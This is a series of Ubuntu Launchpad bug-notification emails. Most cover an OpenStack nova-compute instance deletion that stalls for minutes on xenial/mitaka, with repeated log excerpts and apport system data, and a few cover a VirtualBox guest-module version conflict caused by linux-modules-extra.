etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve current diagnostics
[Kernel-packages] [Bug 1766543] OpalElog.tar.gz
apport information ** Attachment added: "OpalElog.tar.gz" https://bugs.launchpad.net/bugs/1766543/+attachment/5168121/+files/OpalElog.tar.gz -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve current
[Kernel-packages] [Bug 1766543] ProcLocks.txt
apport information ** Attachment added: "ProcLocks.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168124/+files/ProcLocks.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve current
[Kernel-packages] [Bug 1766543] CRDA.txt
apport information ** Attachment added: "CRDA.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168115/+files/CRDA.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve current diagnostics mode,
[Kernel-packages] [Bug 1766543] Re: instance deletion takes a while and blocks nova-compute
apport information ** Tags added: apport-collected uec-images xenial ** Description changed: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks + --- + AlsaDevices: + total 0 + crw-rw 1 root audio 116, 1 Jun 23 14:23 seq + crw-rw 1 root audio 116, 33 Jun 23 14:23 timer + AplayDevices: Error: [Errno 2] No such file or directory + ApportVersion: 2.20.1-0ubuntu2.18 + Architecture: ppc64el + ArecordDevices: Error: [Errno 2] No such file or directory + AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: + DistroRelease: Ubuntu 16.04 + IwConfig: Error: [Errno 2] No such file or directory + Lsusb: + Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub + Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub + Package: nova (not installed) + PciMultimedia: + + ProcEnviron: + TERM=screen-256color + PATH=(custom, no user) + LANG=en_US.UTF-8 + SHELL=/bin/bash + ProcFB: + + ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect + ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 + ProcSwaps: + Filename TypeSizeUsedPriority + /swap.img file 8388544 0 -1 + ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 + ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 + RelatedPackageVersions: + linux-restricted-modules-4.4.0-128-generic N/A + linux-backports-modules-4.4.0-128-generic N/A + linux-firmware 1.157.20 + RfKill: Error: [Errno 2] No such file or directory + Tags: xenial uec-images xenial uec-images xenial uec-images + Uname: Linux 4.4.0-128-generic ppc64le + UnreportableReason: The report belongs to a package that is not installed. + UpgradeStatus: No upgrade log present (probably fresh install) + UserGroups: + + _MarkForUpload: False + cpu_cores: Number of cores present = 20 + cpu_coreson: Number of cores online = 20 + cpu_dscr: DSCR is 0 + cpu_freq: + min: 1.201 GHz (cpu 48) + max: 3.710 GHz (cpu 112) + avg: 2.615 GHz + cpu_runmode: + Could not retrieve current diagnostics mode, + No kernel interface to firmware + cpu_smt: SMT is off ** Attachment added: ".sys.firmware.opal.msglog.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168114/+files/.sys.firmware.opal.msglog.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu.
[Kernel-packages] [Bug 1783267] Re: linux-modules-extra breaks virtualbox guest modules
ok the DKMS failure, but does everything work as expected? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783267 Title: linux-modules-extra breaks virtualbox guest modules Status in linux package in Ubuntu: Confirmed Status in virtualbox-hwe package in Ubuntu: New Bug description: linux-modules-extra-4.15.0-29-generic installs virtualbox guest modules that are newer than what virtualbox-guest-dkms-hwe provides (5.2.8 vs 5.1.34): $ modinfo /lib/modules/4.15.0-29-generic/kernel/drivers/staging/vboxvideo/vboxvideo.ko filename: /lib/modules/4.15.0-29-generic/kernel/drivers/staging/vboxvideo/vboxvideo.ko license:GPL and additional rights description:Oracle VM VirtualBox Graphics Card author: Oracle Corporation srcversion: 689EDF1E50DE15779B4F930 alias: pci:v80EEdBEEFsv*sd*bc*sc*i* depends:drm,drm_kms_helper,ttm staging:Y retpoline: Y intree: Y name: vboxvideo vermagic: 4.15.0-29-generic SMP mod_unload parm: modeset:Disable/Enable modesetting (int) $ modinfo /lib/modules/4.15.0-29-generic/kernel/ubuntu/vbox/vboxsf/vboxsf.ko filename: /lib/modules/4.15.0-29-generic/kernel/ubuntu/vbox/vboxsf/vboxsf.ko version:5.2.8_KernelUbuntu r120774 alias: fs-vboxsf license:GPL author: Oracle Corporation description:Oracle VM VirtualBox VFS Module for Host File System Access srcversion: AF89497125574B5225F9B6A depends:vboxguest retpoline: Y intree: Y name: vboxsf vermagic: 4.15.0-29-generic SMP mod_unload parm: follow_symlinks:Let host resolve symlinks rather than showing them (int) $ modinfo /lib/modules/4.15.0-29-generic/kernel/ubuntu/vbox/vboxguest/vboxguest.ko filename: /lib/modules/4.15.0-29-generic/kernel/ubuntu/vbox/vboxguest/vboxguest.ko version:5.2.8_KernelUbuntu r120774 license:GPL description:Oracle VM VirtualBox Guest Additions for Linux Module author: Oracle Corporation srcversion: F2E5886E3B0544500D404A1 alias: pci:v80EEdCAFEsvsdbc*sc*i* depends: retpoline: Y intree: Y name: vboxguest vermagic: 4.15.0-29-generic SMP mod_unload Thus installation with dkms fails (while attempting `apt-get install --reinstall virtualbox-guest-dkms-hwe`): Building initial module for 4.15.0-29-generic Done. vboxguest: Running module version sanity check. Error! Module version 5.1.34_Ubuntu for vboxguest.ko is not newer than what is already found in kernel 4.15.0-29-generic (5.2.8_KernelUbuntu). You may override by specifying --force. vboxsf.ko: Running module version sanity check. Error! Module version 5.1.34_Ubuntu for vboxsf.ko is not newer than what is already found in kernel 4.15.0-29-generic (5.2.8_KernelUbuntu). You may override by specifying --force. vboxvideo.ko: Running module version sanity check. - Original module - Installation - Installing to /lib/modules/4.15.0-29-generic/updates/dkms/ depmod DKMS: install completed. My system does not start correctly with kernel 4.15 and I had to fall back to 4.13 which has working virtualbox guest modules. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-modules-extra-4.15.0-29-generic 4.15.0-29.31~16.04.1 ProcVersionSignature: Ubuntu 4.13.0-45.50~16.04.1-generic 4.13.16 Uname: Linux 4.13.0-45-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 CurrentDesktop: MATE Date: Tue Jul 24 08:33:57 2018 InstallationDate: Installed on 2015-02-04 (1265 days ago) InstallationMedia: Ubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.2) SourcePackage: linux-hwe UpgradeStatus: Upgraded to xenial on 2016-08-02 (720 days ago) --- ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: dyslimet 3006 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 16.04 HibernationDevice: RESUME=UUID=c045d946-13ab-48d3-afa0-2496f98eb0a4 InstallationDate: Installed on 2015-02-04 (1266 days ago) InstallationMedia: Ubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.2) IwConfig: lono wireless extensions. eth0 no wireless extensions. docker0 no wireless extensions. Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 80ee:0022 VirtualBox Bus 001 Device 002: ID 80ee:0021 VirtualBox USB Tablet Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: innotek GmbH VirtualBox Package: virtualbox-hwe ProcFB: 0 vboxdrmfb ProcKernelCmdLine:
[Kernel-packages] [Bug 1783267] Re: linux-modules-extra breaks virtualbox guest modules
You shouldn't install virtualbox-guest-dkms-hwe, but only virtualbox- guest-x11-hwe and virtualbox-guest-utils-hwe. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783267 Title: linux-modules-extra breaks virtualbox guest modules Status in linux package in Ubuntu: Confirmed Status in virtualbox-hwe package in Ubuntu: New Bug description: linux-modules-extra-4.15.0-29-generic installs virtualbox guest modules that are newer than what virtualbox-guest-dkms-hwe provides (5.2.8 vs 5.1.34): $ modinfo /lib/modules/4.15.0-29-generic/kernel/drivers/staging/vboxvideo/vboxvideo.ko filename: /lib/modules/4.15.0-29-generic/kernel/drivers/staging/vboxvideo/vboxvideo.ko license:GPL and additional rights description:Oracle VM VirtualBox Graphics Card author: Oracle Corporation srcversion: 689EDF1E50DE15779B4F930 alias: pci:v80EEdBEEFsv*sd*bc*sc*i* depends:drm,drm_kms_helper,ttm staging:Y retpoline: Y intree: Y name: vboxvideo vermagic: 4.15.0-29-generic SMP mod_unload parm: modeset:Disable/Enable modesetting (int) $ modinfo /lib/modules/4.15.0-29-generic/kernel/ubuntu/vbox/vboxsf/vboxsf.ko filename: /lib/modules/4.15.0-29-generic/kernel/ubuntu/vbox/vboxsf/vboxsf.ko version:5.2.8_KernelUbuntu r120774 alias: fs-vboxsf license:GPL author: Oracle Corporation description:Oracle VM VirtualBox VFS Module for Host File System Access srcversion: AF89497125574B5225F9B6A depends:vboxguest retpoline: Y intree: Y name: vboxsf vermagic: 4.15.0-29-generic SMP mod_unload parm: follow_symlinks:Let host resolve symlinks rather than showing them (int) $ modinfo /lib/modules/4.15.0-29-generic/kernel/ubuntu/vbox/vboxguest/vboxguest.ko filename: /lib/modules/4.15.0-29-generic/kernel/ubuntu/vbox/vboxguest/vboxguest.ko version:5.2.8_KernelUbuntu r120774 license:GPL description:Oracle VM VirtualBox Guest Additions for Linux Module author: Oracle Corporation srcversion: F2E5886E3B0544500D404A1 alias: pci:v80EEdCAFEsvsdbc*sc*i* depends: retpoline: Y intree: Y name: vboxguest vermagic: 4.15.0-29-generic SMP mod_unload Thus installation with dkms fails (while attempting `apt-get install --reinstall virtualbox-guest-dkms-hwe`): Building initial module for 4.15.0-29-generic Done. vboxguest: Running module version sanity check. Error! Module version 5.1.34_Ubuntu for vboxguest.ko is not newer than what is already found in kernel 4.15.0-29-generic (5.2.8_KernelUbuntu). You may override by specifying --force. vboxsf.ko: Running module version sanity check. Error! Module version 5.1.34_Ubuntu for vboxsf.ko is not newer than what is already found in kernel 4.15.0-29-generic (5.2.8_KernelUbuntu). You may override by specifying --force. vboxvideo.ko: Running module version sanity check. - Original module - Installation - Installing to /lib/modules/4.15.0-29-generic/updates/dkms/ depmod DKMS: install completed. My system does not start correctly with kernel 4.15 and I had to fall back to 4.13 which has working virtualbox guest modules. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-modules-extra-4.15.0-29-generic 4.15.0-29.31~16.04.1 ProcVersionSignature: Ubuntu 4.13.0-45.50~16.04.1-generic 4.13.16 Uname: Linux 4.13.0-45-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 CurrentDesktop: MATE Date: Tue Jul 24 08:33:57 2018 InstallationDate: Installed on 2015-02-04 (1265 days ago) InstallationMedia: Ubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.2) SourcePackage: linux-hwe UpgradeStatus: Upgraded to xenial on 2016-08-02 (720 days ago) --- ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: dyslimet 3006 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 16.04 HibernationDevice: RESUME=UUID=c045d946-13ab-48d3-afa0-2496f98eb0a4 InstallationDate: Installed on 2015-02-04 (1266 days ago) InstallationMedia: Ubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.2) IwConfig: lono wireless extensions. eth0 no wireless extensions. docker0 no wireless extensions. Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 80ee:0022 VirtualBox Bus 001 Device 002: 